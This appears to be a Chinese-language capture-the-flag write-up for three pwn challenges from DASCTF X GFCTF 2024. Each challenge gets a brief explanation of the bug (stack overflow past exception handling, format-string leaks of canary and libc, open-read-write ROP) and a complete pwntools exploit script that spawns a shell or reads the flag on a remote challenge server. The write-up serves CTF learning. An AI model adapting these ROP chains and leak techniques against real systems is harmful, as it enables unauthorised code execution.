# [DASCTF X GFCTF 2024 | 四月开启第一局] pwn_wp
# Control
IDA 识别有点问题,重新识别后是个静态链接的题目。能拿到 syscall 的地址,而且没有开沙箱,所以想到直接 syscall 来 execve ('/bin/sh',0,0).
利用栈溢出漏洞就需要通过 exception 的 catch。但是好像程序定位 catch 段是依靠 ret 的地址的,所以程序返回地址就不能修改了,所以只修改一个 rbp 指向的数值就栈迁移了。
但是迁移到 gift 那里 0x10 太小,所以看到 main 函数读取 gift 的时候是先设置 rdx 之后再设置的 rdi 和 rsi,所以直接从 0x402221 那里开始执行就行。
同时程序有一个 gadget 就是 mov rdx,QWORD PTR [rsi-0x8]; mov QWORD PTR [rdi-0x8],rdx; ret;
而且此时程序的 [rsi-0x8]=0x91,于是就能把 rdx 赋值为 0x91,之后就能接着往 gift 之后 ROP 链子了,自然就 get shell 了。
# sudo sysctl -w kernel.randomize_va_space=0 | |
from pwn import* | |
from Crypto.Util.number import long_to_bytes,bytes_to_long | |
context.log_level='debug' | |
context(arch='amd64',os='linux') | |
context.terminal=['tmux','splitw','-h'] | |
pwn = './control' | |
p=remote('node5.buuoj.cn',29425) | |
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'}) | |
# p=process('./control') | |
#elf=ELF(pwn) | |
#libc=ELF('./libc.so.6') | |
pop_rdi=0x401c72 | |
pop_rsi=0x405285 | |
pop_rdx=0x401aff | |
pop_rax=0x462c27 | |
syscall=0x40161e | |
gift=0x4D3350 | |
read_a=0x402221 | |
mov_rdx_91=0x446200 | |
p.recvuntil('Gift>') | |
payload1=p64(mov_rdx_91)+p64(read_a) | |
p.send(payload1) | |
p.recvuntil('How much do you know about control?') | |
payload2=b'a'*0x70+p64(gift-8)+p64(0x402237) | |
p.send(payload2) | |
payload3=b'\x00'*8+p64(pop_rdi)+p64(0x4d33a8)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(pop_rax)+p64(0x3b)+p64(syscall)+p64(0)+b"/bin/sh\x00" | |
pause() | |
p.send(payload3) | |
p.interactive() |
# Exception
格式化字符串漏洞可以拿到 libc 基址,elf 基址,栈地址和函数的 canary。之后就是正常栈溢出打就行。
# sudo sysctl -w kernel.randomize_va_space=0 | |
from pwn import* | |
from Crypto.Util.number import long_to_bytes,bytes_to_long | |
context.log_level='debug' | |
context(arch='amd64',os='linux') | |
context.terminal=['tmux','splitw','-h'] | |
pwn = './exception' | |
p=remote('node5.buuoj.cn',29424) | |
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'}) | |
# p=process('./exception') | |
# gdb.attach(p,'b *$rebase(0x01448)') | |
#elf=ELF(pwn) | |
#libc=ELF('./libc.so.6') | |
off=6 | |
p.sendlineafter("please tell me your name",'%7$p%8$p%9$p%11$p') | |
# canary stack elf libc | |
# | |
p.recvuntil('0x') | |
can=int(p.recv(16),16) | |
p.recv(2) | |
stk_base=int(p.recv(12),16)-(0x7ffd6eb95250-0x7ffd6eb77000) | |
p.recv(2) | |
elf_base=int(p.recv(12),16)-(0x6385d7ede480-0x6385d7edd000 ) | |
p.recv(2) | |
libc_base=int(p.recv(12),16)-(0x7751f3bac083-0x7751f3b88000) | |
print(hex(can)) | |
print(hex(stk_base)) | |
print(hex(elf_base)) | |
print(hex(libc_base)) | |
sh=libc_base+0x1b45bd | |
syst=libc_base+0x52290 | |
pop_rdi=libc_base+0x023b6a | |
pop_rsi=libc_base+0x2601f | |
pop_rdx2=libc_base+0x15fae6 | |
p.recvuntil("where is the stack") | |
p.recvuntil('0x') | |
addr=int(p.recv(12),16) | |
bp=addr-(0x7fff2b69c5d0)+0x7fff2b69c670 | |
pay=b'a'*0x68+p64(can)+p64(bp)+p64(elf_base+0x1408)+p64(0)+p64(can)+p64(0)*3+p64(elf_base+0x101a)+p64(pop_rdi)+p64(sh)+p64(pop_rsi)+p64(0)+p64(pop_rdx2)+p64(0)*2+p64(libc_base+0xE3170) | |
p.sendlineafter("How much do you know about exception?",pay) | |
p.interactive() |
# dynamic_but_static
远程 libc 版本和附件的 libc 版本不一样,经过查偏移之后得到只有 open64 函数的偏移不同,所以只要在本地 payload 基础上改一个 open64 的地址就行。
正常栈溢出,但是为了防止之后的 payload 被过滤,自己栈迁移写了 read 函数再次读入 payload 并且执行。
# sudo sysctl -w kernel.randomize_va_space=0 | |
from pwn import* | |
from Crypto.Util.number import long_to_bytes,bytes_to_long | |
context.log_level='debug' | |
context(arch='amd64',os='linux') | |
context.terminal=['tmux','splitw','-h'] | |
pwn = './pwn' | |
p=remote('node5.buuoj.cn',25842) | |
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'}) | |
# p=process('./pwn') | |
#elf=ELF(pwn) | |
#libc=ELF('./libc.so.6') | |
# gdb.attach(p,'b *0x401482') | |
pop_rdi=0x401381 | |
puts=0x4010d0 | |
main=0x401386 | |
read_a=0x401100 | |
setbuf=0x404038 | |
off=0x87fe0 | |
pop_rbp=0x4011ed | |
lr=0x401482 | |
payload=p64(pop_rdi)+p64(setbuf)+p64(puts)+p64(pop_rdi)+p64(0)+p64(main) | |
p.sendline(b'a'*0x38+payload) | |
libc_base=u64(p.recv(6)+b'\x00\x00')-(0x00007ffff7c87fe0-0x7ffff7c00000) | |
pop_rsi=libc_base+0x2be51 | |
pop_rdx=libc_base+0x0796a2 | |
open64=libc_base+ 0x1146d0 | |
write_a=libc_base+0x114680 | |
sendfile=libc_base+0x118f80 | |
read1=libc_base+0x1145e0 | |
print(hex(libc_base)) | |
push_rax=libc_base+0x41563 | |
pop_rax=libc_base+0x045eb0 | |
opendir=libc_base+0xe6280 | |
readdir=libc_base+0xe6680 | |
syscall=libc_base+0x114059 | |
newbuf=0x404000+0x500 | |
open_rdi=0x0FFFFFF9C | |
gad=libc_base+0x1194fe | |
payload=b'a'*0x38+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(newbuf)+p64(pop_rdx)+p64(0x500)+p64(read_a)+p64(pop_rbp)+p64(newbuf)+p64(lr) | |
pause() | |
val=0x407c20 | |
p.sendline(payload) | |
getrax=paylaod=b'./flag\x00\x00'+p64(pop_rdi)+p64(newbuf)+p64(pop_rsi)+p64(0)+p64(open64)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(newbuf+0x100)+p64(pop_rdx)+p64(0x500)+p64(read_a)+p64(pop_rbp)+p64(newbuf+0x100)+p64(lr) | |
pause() | |
p.sendline(getrax) | |
pause() | |
pay=p64(newbuf+0x400)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(newbuf-0x50)+p64(pop_rdx)+p64(0x100)+p64(read_a)+p64(pop_rdi)+p64(newbuf-0x50)+p64(puts) | |
p.sendline(pay) | |
p.interactive() |